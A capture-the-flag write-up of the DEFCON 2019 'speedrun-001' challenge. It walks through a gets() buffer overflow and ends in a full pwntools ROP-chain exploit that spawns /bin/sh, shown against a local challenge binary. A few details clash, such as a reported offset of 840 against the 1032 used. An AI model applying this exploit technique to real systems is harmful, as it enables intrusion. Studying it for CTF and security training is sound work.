Back with another binary exploitation challenge, and this time I decided to do the DEFCON 2019 CTF Qualifier challenge as, being in the Infosec community, I've never done any CTF hosted or provided by DEFCON. To those who have no clue what DEFCON is, DEFCON is a conference that has hackers and security researchers link up and host different talks that pertains to security as well as host different CTFs (both Jeopardy style and Attack-And-Defense). I'm not gonna dive into the history of DEFCON. To know more, click here.
Back to the challenge. This challenge basically exploits a buffer overflow vulnerability and upon exploitation, craft a ROP Chain which in turn executes '/bin/sh', which gets me a shell on the remote machine to get the flag. At the time of my writeup of this challenge, the target server has been shut down, so there is no remote server to connect to. However the binary executable has been provided so we can take on the challenge locally pop a shell.
Typically for these kind of hacking challenges, there are times when you're provided with the source and times when you're not. So some knowledge of programming (In C) and some reverse engineering is vital. Let's get to the challenge.
Challenge binary can be downloaded here
Let's run checksec on the binary to have a look at the security mechanisms enabled on it.
kaizen@kaizen-box:~/oooverflow# checksec speedrun-001
[*] '/home/kaizen/oooverflow/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RELRO (which is also Relocation Read Only) is partially enabled, which won't matter in our case because we have no need to overwrite any entry on the Global Offset Table. There's no Stack Canary found, which is good for us because if it we're to be enabled, any attempt to overflow anything on the stack will prove to be useless as the canary will pick up on us trying to overwrite other parts of memory and block us so... good stuff so far! NX, is enabled, which immediately stands out to me because since its enabled, we aren't able to inject any code and have it executed on the stack. PIE (Position Independant Executable) is off as well so that's pretty good.
Upon executing the binary, we see that the program awaits input from the user. If the user takes too long, the program triggers a SIGINT and exits. Since the program awaits input, let's have a look at if we have to send through a whole bunch of junk to trigger a 'segmentation fault' and see if the program is vulnerable to a buffer overflow vulnerability
kaizen@kaizen-box:~/oooverflow# python -c 'print ("A"*2000)' | ./speedrun-001
Hello brave new challenger
Any last words?
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Upon multiple attempts, we trigger a segmentation fault, indicating that we've triggered the buffer overflow. This lets us know that a gets() is being used. If you know anything about the buffer overflow vulnerability, the gets() function continues to store characters past the allocated buffer size, enabling an arbitrary write to other parts of memory. So let's have a look at gdb and see the how much we need to input to have control over the saved return address by generating a cyclic pattern of characters and using those characters to trigger another segmentation fault.
gef➤ r
Starting program: /home/kaizen/oooverflow/speedrun-001
Hello brave new challenger
Any last words?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaa...
This will be the last thing that you say: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa...
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7fc
$rbx : 0x00000000400400 → sub rsp, 0x8
$rcx : 0x0
$rdx : 0x000000006bbd30 → add BYTE PTR [rax], al
$rsp : 0x007fffffffe4d8 → "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]"
$rbp : 0x6661616161616164 ("daaaaaaf"?)
$rsi : 0x0
$rdi : 0x1
$rip : 0x00000000400bad → ret
$r8 : 0x7fc
$r9 : 0x7fc
$r10 : 0xfffff82f
$r11 : 0x246
$r12 : 0x000000004019a0 → push rbp
$r13 : 0x0
$r14 : 0x000000006b9018 → 0x00000000440ea0 → mov rcx, rsi
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x007fffffffe4d8│+0x0000: "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]" ← $rsp
0x007fffffffe4e0│+0x0008: "faaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaafla[...]"
0x007fffffffe4e8│+0x0010: "gaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafma[...]"
0x007fffffffe4f0│+0x0018: "haaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafna[...]"
0x007fffffffe4f8│+0x0020: "iaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoa[...]"
0x007fffffffe500│+0x0028: "jaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpa[...]"
0x007fffffffe508│+0x0030: "kaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqa[...]"
0x007fffffffe510│+0x0038: "laaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafra[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400ba6 call 0x40f710
0x400bab nop
0x400bac leave
→ 0x400bad ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped 0x400bad in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[#0] 0x400bad → ret
gef➤ i f
Stack level 0, frame at 0x7fffffffe4d8:
rip = 0x400bad; saved rip = 0x6661616161616165
called by frame at 0x7fffffffe4e8
Arglist at 0x7fffffffe4d0, args:
Locals at 0x7fffffffe4d0, Previous frame's sp is 0x7fffffffe4e0
Saved registers:
rip at 0x7fffffffe4d8
gef➤ pattern search "eaaaaaaf"
[+] Searching for 'eaaaaaaf'
[+] Found at offset 840 (little-endian search) likely
Upon looking at gdb, we trigger a seg fault, but this time with our generated pattern. The pattern allows us to identify where the saved return address is since we've overflowed the input buffer. It enabled us to know an accurate amount of input we will need from the beginning of the input itself until where the saved return address is in memory. Here we can see that the offset from the start of our input to the saved return address is 1032 bytes (0x6661616161616165 = eaaaaaaf). We'll take note of that.
Now that we have control over the return address, we need a way forward. There are no other functions to jump to within the executable. The next plan of action is to implement ROP Gadgets. I've explained ROP gadgets in the past and why they are used in the way they are. We can use ROP to jump to other places in memory. Using ROP here seems like the only option as the stack protection has been enabled. so Lets do that.
The Goal is to have an execve system call to execute /bin/sh. To do this, we will need to find these rop gadgets within the executable. To execute the execve, we will need to pop values to the execve syscall registers (rax, rdi, rdx and the rdi registers). For this, we can either use ROPgadget or ropper browse through the executable and show us the list of gadgets available in the executable. Since we are looking for gadgets that correspond with the parameters of the execve system call, we will 'grep' for 'pop rdx, rax, rdi, and rsi
$ ROPgadget --binary speedrun-001 | grep ": pop rdx ; ret"
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rax ; ret"
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rdi ; ret"
0x0000000000400686 : pop rdi ; ret
$ ROPgadget --binary speedrun-001 | grep ": pop rsi ; ret"
0x00000000004101f3 : pop rsi ; ret
$ ROPgadget --binary speedrun-001 | grep syscall
0x000000000040129c : syscall
In addition to finding these gadgets, we will need to find a place to place the string /bin/sh\x00 somewhere in memory as well as an address to write it to. Within the executable, we see that there is a mov instruction present which enables us to store a value at the memory address of the rax register. So we'll use that.
0x0000000000471bb4 : mov qword ptr [rax], rdx ; mov eax, esi ; jmp 0x471b97
0x00000000004114a4 : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x410ff7
0x0000000000484ec0 : mov qword ptr [rax], rdx ; pop rbx ; ret
0x000000000048d251 : mov qword ptr [rax], rdx ; ret // Found Gadget!
0x0000000000471e6b : mov qword ptr [rax], rdx ; xor eax, eax ; jmp 0x471e2f
0x0000000000471e2a : mov qword ptr [rax], rdx ; xor eax, eax ; ret
0x000000000048f939 : mov qword ptr [rbp + 0x10], rax ; jmp 0x48f86e
0x0000000000418ff8 : mov q
For the memory location, we see that the address 0x6b6000 will work for us since it is in the PIE segment so we know the address of it without an infoleak, and there doesn't appear to be anything stored at that address:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kaizen/Downloads/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kaizen/Downloads/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x/4g 0x00000000006b6000
0x6b6000: 0x0 0x0
0x6b6010: 0x0 0x0
Lastly, we need the actual syscall...
0x0000000000475453 : sub esp, 8 ; syscall
0x0000000000475452 : sub rsp, 8 ; syscall
0x000000000040129c : syscall // syscall found!
0x00000000004498a6 : test eax, eax ; jne 0x4498c0 ; xor eax, eax ; syscall
0x0000000000449976 : test eax, eax ; jne 0x449990 ; mov eax, 1 ; syscall
0x0000000000449ab3 : test eax, eax ; jne 0x449b18 ; mov eax, 0x48 ; syscall
With all this, it's safe to say that we have everything we need to build out the entire ROP Chain. For the execve syscall, it expects three arguments (in addition to 0x3b being in the rax register to specify we want an execve system call). In the rdi register, it expects a pointer to the filename to be executed, which is /bin/sh. In the rsi and rdx registers it will expect pointers to the arguments / enviornment variables for the process (for our purposes we don't need to worry about them, sow e can just set them equal to zero).
Our ROP chain will have the following instructions:
pop rdx, 0x0068732f6e69622f
pop rax, 0x6b6000
mov qword ptr [rax], rdx ; ret
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
Upon all the analysis we've done on the executable, We finally have all we need. In a nutshell, we will exploit a buffer overflow vulnerability, build a ROP chain that will execute an execve syscall to /bin/sh. I've already writted out the final exploit.
Final Exploit
#!/sbin/python
from pwn import *
context.log_level = "DEBUG"
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish the pop ROP Gadgets
popRdx = p64(0x4498b5)
popRax = p64(0x415664)
popRsi = p64(0x4101f3)
popRdi = p64(0x400686)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# syscall
syscall = p64(0x40129c)
# payload from initial input to return address
payload = b"0"*1032
# Write '/bin/sh\x00' to '0x6b6000'
#pop rdx, 0x0068732f6e69622f
#pop rax, 0x6b6000
#mov qword ptr [rax], rdx ; ret
payload += popRdx
payload += p64(0x0068732f6e69622f)
payload += popRax
payload += p64(0x6b6000)
payload += writeGadget
# Setup args for syscall
# pop rax, 0x3b
payload += popRax
payload += p64(0x3b)
# pop rdi, 0x6b6000
payload += popRdi
payload += p64(0x6b6000)
# pop rsi, 0x0
# pop rdx, 0x0
payload += popRsi
payload += p64(0)
payload += popRdx
payload += p64(0)
# syscall
payload += syscall
# Send the payload
target.send(payload)
target.interactive()
Upon running the exploit...
kaizen@kaizen-box:~/oooverflow# ./exploit.py
[+] Starting local process './speedrun-001' argv=[b'./speedrun-001'] : pid 3190
[DEBUG] Sent 0x478 bytes:
00000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │0000│0000│0000│0000│
*
00000400 30 30 30 30 30 30 30 30 b5 98 44 00 00 00 00 00 │0000│0000│··D·│····│
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
00000478
[*] Switching to interactive mode
[DEBUG] Received 0x461 bytes:
00000000 48 65 6c 6c 6f 20 62 72 61 76 65 20 6e 65 77 20 │Hell│o br│ave │new │
00000010 63 68 61 6c 6c 65 6e 67 65 72 0a 41 6e 79 20 6c │chal│leng│er·A│ny l│
00000020 61 73 74 20 77 6f 72 64 73 3f 0a 54 68 69 73 20 │ast │word│s?·T│his │
00000030 77 69 6c 6c 20 62 65 20 74 68 65 20 6c 61 73 74 │will│ be │the │last│
00000040 20 74 68 69 6e 67 20 74 68 61 74 20 79 6f 75 20 │ thi│ng t│hat │you │
00000050 73 61 79 3a 20 30 30 30 30 30 30 30 30 30 30 30 │say:│ 000│0000│0000│
00000060 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 │0000│0000│0000│0000│
*
00000450 30 30 30 30 30 30 30 30 30 30 30 30 30 b5 98 44 │0000│0000│0000│0··D│
00000460 0a │·│
00000461
Hello brave new challenger
Any last words?
This will be the last thing that you say: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000\xb5\x98D
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0xb9 bytes:
b'uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)\n'
uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)
[*] Got EOF while reading in interactive
$
And just like that... WE POP A SHELL!! Challenge Complete.